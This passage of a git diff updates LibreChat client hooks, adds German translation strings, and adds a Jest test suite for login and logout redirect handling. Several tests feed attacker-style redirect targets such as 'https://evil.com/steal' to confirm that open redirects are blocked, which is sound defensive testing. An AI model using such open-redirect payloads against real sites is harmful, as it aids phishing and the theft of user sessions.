     regenerateMessage,
   };
diff --git a/client/src/hooks/Messages/useSubmitMessage.ts b/client/src/hooks/Messages/useSubmitMessage.ts
index fcf92d3eef..d924e3b987 100644
--- a/client/src/hooks/Messages/useSubmitMessage.ts
+++ b/client/src/hooks/Messages/useSubmitMessage.ts
@@ -9,7 +9,8 @@ export default function useSubmitMessage() {
   const { user } = useAuthContext();
   const methods = useChatFormContext();
   const { conversation: addedConvo } = useAddedChatContext();
-  const { ask, index, getMessages, setMessages, latestMessage } = useChatContext();
+  const { ask, index, getMessages, setMessages } = useChatContext();
+  const latestMessage = useRecoilValue(store.latestMessageFamily(index));
 
   const autoSendPrompts = useRecoilValue(store.autoSendPrompts);
   const setActivePrompt = useSetRecoilState(store.activePromptByIndex(index));
diff --git a/client/src/hooks/SSE/useEventHandlers.ts b/client/src/hooks/SSE/useEventHandlers.ts
index 9f809bd6c1..325ee97315 100644
--- a/client/src/hooks/SSE/useEventHandlers.ts
+++ b/client/src/hooks/SSE/useEventHandlers.ts
@@ -526,6 +526,23 @@ export default function useEventHandlers({
         } else if (requestMessage != null && responseMessage != null) {
           finalMessages = [...messages, requestMessage, responseMessage];
         }
+
+        /* Preserve files from current messages when server response lacks them */
+        if (finalMessages.length > 0) {
+          const currentMsgMap = new Map(
+            currentMessages
+              .filter((m) => m.files && m.files.length > 0)
+              .map((m) => [m.messageId, m.files]),
+          );
+          for (let i = 0; i < finalMessages.length; i++) {
+            const msg = finalMessages[i];
+            const preservedFiles = currentMsgMap.get(msg.messageId);
+            if (msg.files == null && preservedFiles) {
+              finalMessages[i] = { ...msg, files: preservedFiles };
+            }
+          }
+        }
+
         if (finalMessages.length > 0) {
           setFinalMessages(conversation.conversationId, finalMessages);
         } else if (
diff --git a/client/src/hooks/__tests__/AuthContext.spec.tsx b/client/src/hooks/__tests__/AuthContext.spec.tsx
new file mode 100644
index 0000000000..10a0ee3340
--- /dev/null
+++ b/client/src/hooks/__tests__/AuthContext.spec.tsx
@@ -0,0 +1,447 @@
+/**
+ * @jest-environment @happy-dom/jest-environment
+ */
+import React from 'react';
+import { render, act } from '@testing-library/react';
+import { RecoilRoot } from 'recoil';
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
+import { MemoryRouter } from 'react-router-dom';
+
+import type { TAuthConfig } from '~/common';
+
+import { AuthContextProvider, useAuthContext } from '../AuthContext';
+import { SESSION_KEY } from '~/utils';
+
+const mockNavigate = jest.fn();
+jest.mock('react-router-dom', () => ({
+  ...jest.requireActual('react-router-dom'),
+  useNavigate: () => mockNavigate,
+}));
+
+const mockApiBaseUrl = jest.fn(() => '');
+
+jest.mock('librechat-data-provider', () => ({
+  ...jest.requireActual('librechat-data-provider'),
+  setTokenHeader: jest.fn(),
+  apiBaseUrl: () => mockApiBaseUrl(),
+}));
+
+let mockCapturedLoginOptions: {
+  onSuccess: (...args: unknown[]) => void;
+  onError: (...args: unknown[]) => void;
+};
+
+let mockCapturedLogoutOptions: {
+  onSuccess: (...args: unknown[]) => void;
+  onError: (...args: unknown[]) => void;
+};
+
+const mockRefreshMutate = jest.fn();
+
+jest.mock('~/data-provider', () => ({
+  useLoginUserMutation: jest.fn(
+    (options: {
+      onSuccess: (...args: unknown[]) => void;
+      onError: (...args: unknown[]) => void;
+    }) => {
+      mockCapturedLoginOptions = options;
+      return { mutate: jest.fn() };
+    },
+  ),
+  useLogoutUserMutation: jest.fn(
+    (options: {
+      onSuccess: (...args: unknown[]) => void;
+      onError: (...args: unknown[]) => void;
+    }) => {
+      mockCapturedLogoutOptions = options;
+      return { mutate: jest.fn() };
+    },
+  ),
+  useRefreshTokenMutation: jest.fn(() => ({ mutate: mockRefreshMutate })),
+  useGetUserQuery: jest.fn(() => ({
+    data: undefined,
+    isError: false,
+    error: null,
+  })),
+  useGetRole: jest.fn(() => ({ data: null })),
+}));
+
+const authConfig: TAuthConfig = { loginRedirect: '/login', test: true };
+
+function TestConsumer() {
+  const ctx = useAuthContext();
+  return <div data-testid="consumer" data-authenticated={ctx.isAuthenticated} />;
+}
+
+function renderProvider() {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false }, mutations: { retry: false } },
+  });
+
+  return render(
+    <QueryClientProvider client={queryClient}>
+      <RecoilRoot>
+        <MemoryRouter>
+          <AuthContextProvider authConfig={authConfig}>
+            <TestConsumer />
+          </AuthContextProvider>
+        </MemoryRouter>
+      </RecoilRoot>
+    </QueryClientProvider>,
+  );
+}
+
+/** Renders without test:true so silentRefresh actually runs */
+function renderProviderLive() {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false }, mutations: { retry: false } },
+  });
+
+  return render(
+    <QueryClientProvider client={queryClient}>
+      <RecoilRoot>
+        <MemoryRouter>
+          <AuthContextProvider authConfig={{ loginRedirect: '/login' }}>
+            <TestConsumer />
+          </AuthContextProvider>
+        </MemoryRouter>
+      </RecoilRoot>
+    </QueryClientProvider>,
+  );
+}
+
+describe('AuthContextProvider — login onError redirect handling', () => {
+  beforeEach(() => {
+    jest.clearAllMocks();
+    window.history.replaceState({}, '', '/login');
+  });
+
+  afterEach(() => {
+    window.history.replaceState({}, '', '/');
+  });
+
+  it('preserves a valid redirect_to param across login failure', () => {
+    window.history.replaceState({}, '', '/login?redirect_to=%2Fc%2Fabc123');
+
+    renderProvider();
+
+    act(() => {
+      mockCapturedLoginOptions.onError({ message: 'Invalid credentials' });
+    });
+
+    expect(mockNavigate).toHaveBeenCalledWith('/login?redirect_to=%2Fc%2Fabc123', {
+      replace: true,
+    });
+  });
+
+  it('drops redirect_to when it contains an absolute URL (open-redirect prevention)', () => {
+    window.history.replaceState({}, '', '/login?redirect_to=https%3A%2F%2Fevil.com');
+
+    renderProvider();
+
+    act(() => {
+      mockCapturedLoginOptions.onError({ message: 'Invalid credentials' });
+    });
+
+    expect(mockNavigate).toHaveBeenCalledWith('/login', { replace: true });
+  });
+
+  it('drops redirect_to when it points to /login (recursive redirect prevention)', () => {
+    window.history.replaceState({}, '', '/login?redirect_to=%2Flogin');
+
+    renderProvider();
+
+    act(() => {
+      mockCapturedLoginOptions.onError({ message: 'Invalid credentials' });
+    });
+
+    expect(mockNavigate).toHaveBeenCalledWith('/login', { replace: true });
+  });
+
+  it('navigates to plain /login when no redirect_to param exists', () => {
+    renderProvider();
+
+    act(() => {
+      mockCapturedLoginOptions.onError({ message: 'Server error' });
+    });
+
+    expect(mockNavigate).toHaveBeenCalledWith('/login', { replace: true });
+  });
+
+  it('preserves redirect_to with query params and hash', () => {
+    const target = '/c/abc123?model=gpt-4#section';
+    window.history.replaceState({}, '', `/login?redirect_to=${encodeURIComponent(target)}`);
+
+    renderProvider();
+
+    act(() => {
+      mockCapturedLoginOptions.onError({ message: 'Invalid credentials' });
+    });
+
+    const navigatedUrl = mockNavigate.mock.calls[0][0] as string;
+    const params = new URLSearchParams(navigatedUrl.split('?')[1]);
+    expect(decodeURIComponent(params.get('redirect_to')!)).toBe(target);
+  });
+});
+
+describe('AuthContextProvider — logout onSuccess/onError handling', () => {
+  const mockSetTokenHeader = jest.requireMock('librechat-data-provider').setTokenHeader;
+
+  beforeEach(() => {
+    jest.clearAllMocks();
+    window.history.replaceState({}, '', '/c/some-chat');
+  });
+
+  afterEach(() => {
+    window.history.replaceState({}, '', '/');
+  });
+
+  it('calls window.location.replace and setTokenHeader(undefined) when redirect is present', () => {
+    const replaceSpy = jest.spyOn(window.location, 'replace').mockImplementation(() => {});
+
+    renderProvider();
+
+    act(() => {
+      mockCapturedLogoutOptions.onSuccess({
+        message: 'Logout successful',
+        redirect: 'https://idp.example.com/logout?id_token_hint=abc',
+      });
+    });
+
+    expect(replaceSpy).toHaveBeenCalledWith('https://idp.example.com/logout?id_token_hint=abc');
+    expect(mockSetTokenHeader).toHaveBeenCalledWith(undefined);
+  });
+
+  it('does not call window.location.replace when redirect is absent', async () => {
+    const replaceSpy = jest.spyOn(window.location, 'replace').mockImplementation(() => {});
+
+    renderProvider();
+
+    act(() => {
+      mockCapturedLogoutOptions.onSuccess({ message: 'Logout successful' });
+    });
+
+    expect(replaceSpy).not.toHaveBeenCalled();
+  });
+
+  it('does not trigger silentRefresh after OIDC redirect', () => {
+    const replaceSpy = jest.spyOn(window.location, 'replace').mockImplementation(() => {});
+
+    renderProviderLive();
+    mockRefreshMutate.mockClear();
+
+    act(() => {
+      mockCapturedLogoutOptions.onSuccess({
+        message: 'Logout successful',
+        redirect: 'https://idp.example.com/logout?id_token_hint=abc',
+      });
+    });
+
+    expect(replaceSpy).toHaveBeenCalled();
+    expect(mockRefreshMutate).not.toHaveBeenCalled();
+  });
+});
+
+describe('AuthContextProvider — silentRefresh post-login redirect', () => {
+  beforeEach(() => {
+    jest.clearAllMocks();
+    sessionStorage.clear();
+  });
+
+  afterEach(() => {
+    sessionStorage.clear();
+    window.history.replaceState({}, '', '/');
+  });
+
+  it('navigates to stored sessionStorage redirect after successful token refresh', () => {
+    jest.useFakeTimers();
+    sessionStorage.setItem(SESSION_KEY, '/c/new?endpoint=bedrock&model=claude-sonnet-4-6');
+
+    renderProviderLive();
+
+    expect(mockRefreshMutate).toHaveBeenCalledTimes(1);
+    const [, refreshOptions] = mockRefreshMutate.mock.calls[0] as [
+      unknown,
+      { onSuccess: (data: unknown) => void },
+    ];
+
+    act(() => {
+      refreshOptions.onSuccess({ user: { id: '1', role: 'USER' }, token: 'new-token' });
+    });
+    act(() => {
+      jest.advanceTimersByTime(100);
+    });
+
+    expect(mockNavigate).toHaveBeenCalledWith('/c/new?endpoint=bedrock&model=claude-sonnet-4-6', {
+      replace: true,
+    });
+    expect(sessionStorage.getItem(SESSION_KEY)).toBeNull();
+    jest.useRealTimers();
+  });
+
+  it('navigates to current URL when no stored redirect exists', () => {
+    jest.useFakeTimers();
+    window.history.replaceState({}, '', '/c/new');
+
+    renderProviderLive();
+
+    expect(mockRefreshMutate).toHaveBeenCalledTimes(1);
+    const [, refreshOptions] = mockRefreshMutate.mock.calls[0] as [
+      unknown,
+      { onSuccess: (data: unknown) => void },
+    ];
+
+    act(() => {
+      refreshOptions.onSuccess({ user: { id: '1', role: 'USER' }, token: 'new-token' });
+    });
+    act(() => {
+      jest.advanceTimersByTime(100);
+    });
+
+    expect(mockNavigate).toHaveBeenCalledWith('/c/new', { replace: true });
+    jest.useRealTimers();
+  });
+
+  it('does not re-trigger silentRefresh after successful redirect', () => {
+    jest.useFakeTimers();
+    sessionStorage.setItem(SESSION_KEY, '/c/abc?endpoint=bedrock');
+
+    renderProviderLive();
+
+    expect(mockRefreshMutate).toHaveBeenCalledTimes(1);
+    const [, refreshOptions] = mockRefreshMutate.mock.calls[0] as [
+      unknown,
+      { onSuccess: (data: unknown) => void },
+    ];
+    mockRefreshMutate.mockClear();
+
+    act(() => {
+      refreshOptions.onSuccess({ user: { id: '1', role: 'USER' }, token: 'new-token' });
+    });
+    act(() => {
+      jest.advanceTimersByTime(100);
+    });
+
+    expect(mockNavigate).toHaveBeenCalledTimes(1);
+    expect(mockNavigate).toHaveBeenCalledWith('/c/abc?endpoint=bedrock', { replace: true });
+    expect(mockRefreshMutate).not.toHaveBeenCalled();
+    jest.useRealTimers();
+  });
+
+  it('falls back to current URL for unsafe stored redirect', () => {
+    jest.useFakeTimers();
+    window.history.replaceState({}, '', '/c/new');
+    sessionStorage.setItem(SESSION_KEY, 'https://evil.com/steal');
+
+    renderProviderLive();
+
+    expect(mockRefreshMutate).toHaveBeenCalledTimes(1);
+    const [, refreshOptions] = mockRefreshMutate.mock.calls[0] as [
+      unknown,
+      { onSuccess: (data: unknown) => void },
+    ];
+
+    act(() => {
+      refreshOptions.onSuccess({ user: { id: '1', role: 'USER' }, token: 'new-token' });
+    });
+    act(() => {
+      jest.advanceTimersByTime(100);
+    });
+
+    expect(mockNavigate).toHaveBeenCalledWith('/c/new', { replace: true });
+    expect(mockNavigate).not.toHaveBeenCalledWith('https://evil.com/steal', expect.anything());
+    expect(sessionStorage.getItem(SESSION_KEY)).toBeNull();
+    jest.useRealTimers();
+  });
+});
+
+describe('AuthContextProvider — silentRefresh subdirectory deployment', () => {
+  beforeEach(() => {
+    jest.clearAllMocks();
+    sessionStorage.clear();
+    mockApiBaseUrl.mockReturnValue('/chat');
+  });
+
+  afterEach(() => {
+    mockApiBaseUrl.mockReturnValue('');
+    sessionStorage.clear();
+    window.history.replaceState({}, '', '/');
+  });
+
+  it('strips base path from window.location.pathname before navigating (prevents /chat/chat doubling)', () => {
+    jest.useFakeTimers();
+    window.history.replaceState({}, '', '/chat/c/abc123?model=gpt-4');
+
+    renderProviderLive();
+
+    expect(mockRefreshMutate).toHaveBeenCalledTimes(1);
+    const [, refreshOptions] = mockRefreshMutate.mock.calls[0] as [
+      unknown,
+      { onSuccess: (data: unknown) => void },
+    ];
+
+    act(() => {
+      refreshOptions.onSuccess({ user: { id: '1', role: 'USER' }, token: 'new-token' });
+    });
+    act(() => {
+      jest.advanceTimersByTime(100);
+    });
+
+    expect(mockNavigate).toHaveBeenCalledWith('/c/abc123?model=gpt-4', { replace: true });
+    expect(mockNavigate).not.toHaveBeenCalledWith(
+      expect.stringContaining('/chat/c/'),
+      expect.anything(),
+    );
+    jest.useRealTimers();
+  });
+
+  it('falls back to root when window.location.pathname equals the base path', () => {
+    jest.useFakeTimers();
+    window.history.replaceState({}, '', '/chat');
+
+    renderProviderLive();
+
+    const [, refreshOptions] = mockRefreshMutate.mock.calls[0] as [
+      unknown,
+      { onSuccess: (data: unknown) => void },
+    ];
+
+    act(() => {
+      refreshOptions.onSuccess({ user: { id: '1', role: 'USER' }, token: 'new-token' });
+    });
+    act(() => {
+      jest.advanceTimersByTime(100);
+    });
+
+    expect(mockNavigate).toHaveBeenCalledWith('/', { replace: true });
+    jest.useRealTimers();
+  });
+});
+
+describe('AuthContextProvider — logout error handling', () => {
+  beforeEach(() => {
+    jest.clearAllMocks();
+    window.history.replaceState({}, '', '/c/some-chat');
+  });
+
+  afterEach(() => {
+    window.history.replaceState({}, '', '/');
+  });
+
+  it('clears auth state on logout error without external redirect', () => {
+    jest.useFakeTimers();
+    const replaceSpy = jest.spyOn(window.location, 'replace').mockImplementation(() => {});
+    const { getByTestId } = renderProvider();
+
+    act(() => {
+      mockCapturedLogoutOptions.onError(new Error('Logout failed'));
+    });
+    act(() => {
+      jest.advanceTimersByTime(100);
+    });
+
+    expect(replaceSpy).not.toHaveBeenCalled();
+    expect(getByTestId('consumer').getAttribute('data-authenticated')).toBe('false');
+    jest.useRealTimers();
+  });
+});
diff --git a/client/src/hooks/useLocalize.ts b/client/src/hooks/useLocalize.ts
index 6b574d25b1..f87ee5932b 100644
--- a/client/src/hooks/useLocalize.ts
+++ b/client/src/hooks/useLocalize.ts
@@ -1,4 +1,4 @@
-import { useEffect } from 'react';
+import { useCallback, useEffect } from 'react';
 import { TOptions } from 'i18next';
 import { useRecoilValue } from 'recoil';
 import { useTranslation } from 'react-i18next';
@@ -17,5 +17,8 @@ export default function useLocalize() {
     }
   }, [lang, i18n]);
 
-  return (phraseKey: TranslationKeys, options?: TOptions) => t(phraseKey, options);
+  return useCallback(
+    (phraseKey: TranslationKeys, options?: TOptions) => t(phraseKey, options),
+    [t],
+  );
 }
diff --git a/client/src/hooks/useNewConvo.ts b/client/src/hooks/useNewConvo.ts
index 7fa499f40d..f2879cb092 100644
--- a/client/src/hooks/useNewConvo.ts
+++ b/client/src/hooks/useNewConvo.ts
@@ -48,7 +48,7 @@ const useNewConvo = (index = 0) => {
   const applyModelSpecEffects = useApplyModelSpecEffects();
   const clearAllConversations = store.useClearConvoState();
   const defaultPreset = useRecoilValue(store.defaultPreset);
-  const { setConversation } = store.useCreateConversationAtom(index);
+  const { setConversation } = store.useSetConversationAtom(index);
   const [files, setFiles] = useRecoilState(store.filesByIndex(index));
   const saveBadgesState = useRecoilValue<boolean>(store.saveBadgesState);
   const clearAllLatestMessages = store.useClearLatestMessages(`useNewConvo ${index}`);
diff --git a/client/src/hooks/useRenderChangeLog.ts b/client/src/hooks/useRenderChangeLog.ts
new file mode 100644
index 0000000000..e20f04be05
--- /dev/null
+++ b/client/src/hooks/useRenderChangeLog.ts
@@ -0,0 +1,67 @@
+import { useEffect, useRef } from 'react';
+
+type DebugWindow = Window & {
+  __LC_RENDER_DEBUG__?: boolean;
+};
+
+/**
+ * Development-only hook that logs which tracked values changed between renders.
+ *
+ * Enable by setting `window.__LC_RENDER_DEBUG__ = true` in the browser console.
+ * Automatically no-ops in production builds.
+ *
+ * @example
+ * ```ts
+ * useRenderChangeLog('MessageRender', { messageId, isLast, depth });
+ * ```
+ */
+export default function useRenderChangeLog(
+  name: string,
+  values: Record<string, string | number | boolean | null | undefined>,
+) {
+  const previousValuesRef = useRef<Record<
+    string,
+    string | number | boolean | null | undefined
+  > | null>(null);
+
+  useEffect(() => {
+    if (process.env.NODE_ENV === 'production') {
+      return;
+    }
+
+    if (typeof window === 'undefined' || !(window as DebugWindow).__LC_RENDER_DEBUG__) {
+      previousValuesRef.current = values;
+      return;
+    }
+
+    if (previousValuesRef.current == null) {
+      console.log(`[render-debug] ${name}: initial render`, values);
+      previousValuesRef.current = values;
+      return;
+    }
+
+    const previousValues = previousValuesRef.current;
+    const changedEntries = Object.entries(values).filter(
+      ([key, value]) => !Object.is(previousValues[key], value),
+    );
+
+    if (changedEntries.length > 0) {
+      console.log(
+        `[render-debug] ${name}`,
+        Object.fromEntries(
+          changedEntries.map(([key, value]) => [
+            key,
+            {
+              previous: previousValues[key],
+              next: value,
+            },
+          ]),
+        ),
+      );
+    } else {
+      console.log(`[render-debug] ${name}: parent-driven render`);
+    }
+
+    previousValuesRef.current = values;
+  });
+}
diff --git a/client/src/locales/de/translation.json b/client/src/locales/de/translation.json
index aca7f8ff2a..71f0c453a6 100644
--- a/client/src/locales/de/translation.json
+++ b/client/src/locales/de/translation.json
@@ -3,6 +3,7 @@
   "chat_direction_right_to_left": "Rechts nach Links",
   "com_a11y_ai_composing": "Die KI erstellt noch ihre Antwort.\n",
   "com_a11y_end": "Die KI hat die Antwort fertiggestellt.",
+  "com_a11y_selected": "ausgewählt",
   "com_a11y_start": "Die KI hat mit ihrer Antwort begonnen. ",
   "com_agents_agent_card_label": "{{name}} Agent. {{description}}",
   "com_agents_all": "Alle Agenten",
@@ -223,10 +224,11 @@
   "com_endpoint_agent": "Agent",
   "com_endpoint_agent_placeholder": "Bitte wähle einen Agenten aus",
   "com_endpoint_ai": "KI",
+  "com_endpoint_anthropic_effort": "Steuert, wie viel Rechenaufwand Claude betreibt. Ein geringerer Aufwand spart Token und verringert die Latenz; ein höherer Aufwand führt zu gründlicheren Antworten. ‚Max‘ ermöglicht das tiefste Reasoning (nur Opus 4.6).",
   "com_endpoint_anthropic_maxoutputtokens": "Maximale Anzahl von Token, die in der Antwort erzeugt werden können. Gib einen niedrigeren Wert für kürzere Antworten und einen höheren Wert für längere Antworten an. Hinweis: Die Modelle können auch vor Erreichen dieses Maximums stoppen.",
   "com_endpoint_anthropic_prompt_cache": "Prompt-Caching ermöglicht die Wiederverwendung von umfangreichen Kontexten oder Anweisungen über mehrere API-Aufrufe hinweg, wodurch Kosten und Latenzzeiten reduziert werden",
   "com_endpoint_anthropic_temp": "Reicht von 0 bis 1. Verwende Temperaturen näher an 0 für analytische / Multiple-Choice-Aufgaben und näher an 1 für kreative und generative Aufgaben. Wir empfehlen, entweder dies oder Top P zu ändern, aber nicht beides.",
-  "com_endpoint_anthropic_thinking": "Aktiviert internes logisches Denken für unterstützte Claude-Modelle (3.7 Sonnet). Hinweis: Erfordert, dass \"Denkbudget\" festgelegt und niedriger als \"Max. Ausgabe-Token\" ist",
+  "com_endpoint_anthropic_thinking": "Aktiviert das interne Reasoning für unterstützte Claude-Modelle. Bei neueren Modellen (Opus 4.6+) wird adaptives Denken genutzt, das über den Parameter „Aufwand“ gesteuert wird. Bei älteren Modellen muss ein „Thinking Budget“ festgelegt werden, das unter den „Max Output Tokens“ liegt.",
   "com_endpoint_anthropic_thinking_budget": "Bestimmt die maximale Anzahl an Token, die Claude für seinen internen Denkprozess verwenden darf. Ein höheres Budget kann die Antwortqualität verbessern, indem es eine gründlichere Analyse bei komplexen Problemen ermöglicht. Claude nutzt jedoch möglicherweise nicht das gesamte zugewiesene Budget, insbesondere bei Werten über 32.000. Diese Einstellung muss niedriger sein als \"Max. Ausgabe-Token\".",
   "com_endpoint_anthropic_topk": "Top-k ändert, wie das Modell Token für die Ausgabe auswählt. Ein Top-k von 1 bedeutet, dass das ausgewählte Token das wahrscheinlichste unter allen Token im Vokabular des Modells ist (auch \"Greedy Decoding\" genannt), während ein Top-k von 3 bedeutet, dass das nächste Token aus den 3 wahrscheinlichsten Token ausgewählt wird (unter Verwendung der Temperatur).",
   "com_endpoint_anthropic_topp": "Top-p ändert, wie das Modell Token für die Ausgabe auswählt. Token werden von den wahrscheinlichsten K (siehe topK-Parameter) bis zu den am wenigsten wahrscheinlichen ausgewählt, bis die Summe ihrer Wahrscheinlichkeiten dem Top-p-Wert entspricht.",
@@ -264,6 +266,7 @@
   "com_endpoint_default_with_num": "Standard: {{0}}",
   "com_endpoint_disable_streaming": "Deaktiviere das Streaming von Antworten und erhalte die vollständige Antwort auf einmal. Nützlich für Modelle wie o3, die eine Organisationsverifizierung für Streaming erfordern",
   "com_endpoint_disable_streaming_label": "Streaming deaktivieren",
+  "com_endpoint_effort": "Aufwand",
   "com_endpoint_examples": " Voreinstellungen",
   "com_endpoint_export": "Exportieren",
   "com_endpoint_export_share": "Exportieren/Teilen",
@@ -346,7 +349,7 @@
   "com_endpoint_top_p": "Top P",
   "com_endpoint_use_active_assistant": "Aktiven Assistenten verwenden",
   "com_endpoint_use_responses_api": "Responses-API nutzen",
-  "com_endpoint_use_search_grounding": "Antworten mit Google-Suche anreichern",
+  "com_endpoint_use_search_grounding": "Fundierung mit der Google Suche",
   "com_endpoint_verbosity": "Ausführlichkeit",
   "com_error_endpoint_models_not_loaded": "Modelle für {{0}} konnten nicht geladen werden. Bitte lade die Seite neu und versuch es erneut.",
   "com_error_expired_user_key": "Der angegebene API-Key für {{0}} ist am {{1}} abgelaufen. Bitte gebe einen neuen API-Key ein und versuche es erneut.",
@@ -508,16 +511,20 @@
   "com_nav_lang_german": "Deutsch",
   "com_nav_lang_hebrew": "עברית",
   "com_nav_lang_hungarian": "Ungarisch",
+  "com_nav_lang_icelandic": "Isländisch",
   "com_nav_lang_indonesia": "Indonesia",
   "com_nav_lang_italian": "Italiano",
   "com_nav_lang_japanese": "日本語",
   "com_nav_lang_korean": "한국어",
   "com_nav_lang_latvian": "Lettisch",
+  "com_nav_lang_lithuanian": "Litauisch",
   "com_nav_lang_norwegian_bokmal": "Norwegisch Bokmål",
+  "com_nav_lang_norwegian_nynorsk": "Norwegisch (Nynorsk)",
   "com_nav_lang_persian": "Persisch",
   "com_nav_lang_polish": "Polski",
   "com_nav_lang_portuguese": "Português",
   "com_nav_lang_russian": "Русский",
+  "com_nav_lang_slovak": "Slowakisch",
   "com_nav_lang_slovenian": "Slowenisch",
   "com_nav_lang_spanish": "Español",
   "com_nav_lang_swedish": "Svenska",
@@ -533,9 +540,18 @@
   "com_nav_log_out": "Abmelden",
   "com_nav_long_audio_warning": "Längere Texte benötigen mehr Zeit zur Verarbeitung.",
   "com_nav_maximize_chat_space": "Chat-Bereich maximieren",
+  "com_nav_mcp_access_revoked": "Zugriff auf MCP-Server erfolgreich widerrufen.",
   "com_nav_mcp_configure_server": "{{0}} konfigurieren",
+  "com_nav_mcp_connect": "Verbinden",
+  "com_nav_mcp_connect_server": "{{0}} verbinden",
+  "com_nav_mcp_reconnect": "Neu verbinden",
   "com_nav_mcp_status_connected": "Verbunden",
   "com_nav_mcp_status_connecting": "{{0}} - Verbinde...",
+  "com_nav_mcp_status_disconnected": "Getrennt",
+  "com_nav_mcp_status_error": "Fehler",
+  "com_nav_mcp_status_initializing": "Initialisieren",
+  "com_nav_mcp_status_needs_auth": "Auth benötigt",
+  "com_nav_mcp_status_unknown": "Unbekannt",
   "com_nav_mcp_vars_update_error": "Fehler beim Aktualisieren der benutzerdefinierten MCP-Variablen.",
   "com_nav_mcp_vars_updated": "Die MCP-Benutzervariablen wurden erfolgreich aktualisiert.",
   "com_nav_modular_chat": "Ermöglicht das Wechseln der Endpunkte mitten im Gespräch",
@@ -626,7 +642,9 @@
   "com_ui_active": "Aktiv",
   "com_ui_add": "Hinzufügen",
   "com_ui_add_code_interpreter_api_key": "Code Interpreter API-Schlüssel hinzufügen",
+  "com_ui_add_first_bookmark": "Klicke auf einen Chat, um ihn hinzuzufügen",
   "com_ui_add_first_mcp_server": "Erstelle deinen ersten MCP-Server, um loszulegen",
+  "com_ui_add_first_prompt": "Erstelle deinen ersten Prompt, um zu starten",
   "com_ui_add_mcp": "MCP hinzufügen",
   "com_ui_add_mcp_server": "MCP Server hinzufügen",
   "com_ui_add_model_preset": "Ein KI-Modell oder eine Voreinstellung für eine zusätzliche Antwort hinzufügen",
@@ -642,6 +660,8 @@
   "com_ui_advanced": "Erweitert",
   "com_ui_advanced_settings": "Erweiterte Einstellungen",
   "com_ui_agent": "Agent",
+  "com_ui_agent_api_keys": "Agenten-API-Schlüssel",
+  "com_ui_agent_api_keys_description": "Erstelle API-Schlüssel, um per API remote auf Agenten zuzugreifen.",
   "com_ui_agent_category_aftersales": "Kundendienst",
   "com_ui_agent_category_finance": "Finanzen",
   "com_ui_agent_category_general": "Allgemein",
@@ -689,12 +709,23 @@
   "com_ui_agents": "Agenten",
   "com_ui_agents_allow_create": "Erlaube Agenten zu erstellen",
   "com_ui_agents_allow_share": "Teilen von Agenten erlauben",
+  "com_ui_agents_allow_share_public": "Öffentliches Teilen von Agenten erlauben",
   "com_ui_agents_allow_use": "Verwendung von Agenten erlauben",
   "com_ui_all": "alle",
   "com_ui_all_proper": "Alle",
   "com_ui_analyzing": "Analyse läuft",
   "com_ui_analyzing_finished": "Analyse abgeschlossen",
   "com_ui_api_key": "API-Schlüssel",
+  "com_ui_api_key_copied": "API-Schlüssel in die Zwischenablage kopiert",
+  "com_ui_api_key_create_error": "Fehler beim Erstellen des API-Schlüssels",
+  "com_ui_api_key_created": "API-Schlüssel erfolgreich erstellt",
+  "com_ui_api_key_delete_error": "Fehler beim Löschen des API-Schlüssels",
+  "com_ui_api_key_deleted": "API-Schlüssel erfolgreich gelöscht",
+  "com_ui_api_key_name": "Schlüsselname",
+  "com_ui_api_key_name_placeholder": "Mein API-Schlüssel",
+  "com_ui_api_key_name_required": "API-Schlüsselname ist erforderlich",
+  "com_ui_api_key_warning": "Kopiere deinen API-Schlüssel jetzt. Du wirst ihn später nicht mehr sehen können!",
+  "com_ui_api_keys_load_error": "API-Schlüssel konnten nicht geladen werden",
   "com_ui_archive": "Archivieren",
   "com_ui_archive_delete_error": "Archivierter Chat konnte nicht gelöscht werden.",
   "com_ui_archive_error": "Konversation konnte nicht archiviert werden",
@@ -745,6 +776,7 @@
   "com_ui_bookmarks": "Lesezeichen",
   "com_ui_bookmarks_add": "Lesezeichen hinzufügen",
   "com_ui_bookmarks_add_to_conversation": "Zur aktuellen Konversation hinzufügen",
+  "com_ui_bookmarks_count_selected": "Lesezeichen, {{count}} ausgewählt",
   "com_ui_bookmarks_create_error": "Beim Erstellen des Lesezeichens ist ein Fehler aufgetreten",
   "com_ui_bookmarks_create_exists": "Dieses Lesezeichen existiert bereits",
   "com_ui_bookmarks_create_success": "Lesezeichen erfolgreich erstellt",
@@ -759,6 +791,9 @@
   "com_ui_bookmarks_title": "Titel",
   "com_ui_bookmarks_update_error": "Beim Aktualisieren des Lesezeichens ist ein Fehler aufgetreten",
   "com_ui_bookmarks_update_success": "Lesezeichen erfolgreich aktualisiert",
+  "com_ui_branch_created": "Abzweigung erfolgreich erstellt",
+  "com_ui_branch_error": "Erstellen der Abzweigung fehlgeschlagen",
+  "com_ui_branch_message": "Abzweigung aus dieser Antwort erstellen",
   "com_ui_by_author": "von {{0}}",
   "com_ui_callback_url": "Callback-URL",
   "com_ui_cancel": "Abbrechen",
@@ -775,6 +810,7 @@
   "com_ui_clear_presets": "Voreinstellungen löschen",
   "com_ui_clear_search": "Suche löschen",
   "com_ui_click_to_close": "Zum Schließen klicken",
+  "com_ui_click_to_view_var": "Klicken, um {{0}} anzusehen",
   "com_ui_client_id": "Client-ID",
   "com_ui_client_secret": "Client Secret",
   "com_ui_close": "Schließen",
@@ -785,10 +821,12 @@
   "com_ui_code": "Code",
   "com_ui_collapse": "Einklappen",
   "com_ui_collapse_chat": "Chat einklappen",
+  "com_ui_collapse_thoughts": "Gedanken einklappen",
   "com_ui_command_placeholder": "Optional: Gib einen speziellen Befehl ein, sonst wird der Name des Prompts verwendet.",
   "com_ui_command_usage_placeholder": "Wähle einen Prompt nach Befehl oder Name aus",
   "com_ui_complete_setup": "Einrichtung abschließen",
   "com_ui_concise": "Prägnant",
+  "com_ui_configure": "Konfigurieren",
   "com_ui_configure_mcp_variables_for": "Konfiguriere Variablen für {{0}}",
   "com_ui_confirm": "Bestätigen",
   "com_ui_confirm_action": "Aktion bestätigen",
@@ -802,7 +840,9 @@
   "com_ui_continue_oauth": "Mit OAuth fortfahren",
   "com_ui_control_bar": "Kontrollleiste",
   "com_ui_controls": "Steuerung",
+  "com_ui_conversation": "Konversation",
   "com_ui_conversation_label": "{{title}} Konversation",
+  "com_ui_conversations": "Konversationen",
   "com_ui_convo_archived": "Konversation archiviert",
   "com_ui_convo_delete_error": "Unterhaltung konnte nicht gelöscht werden.",
   "com_ui_convo_delete_success": "Konversation erfolgreich gelöscht",
@@ -816,12 +856,16 @@
   "com_ui_copy_to_clipboard": "In die Zwischenablage kopieren",
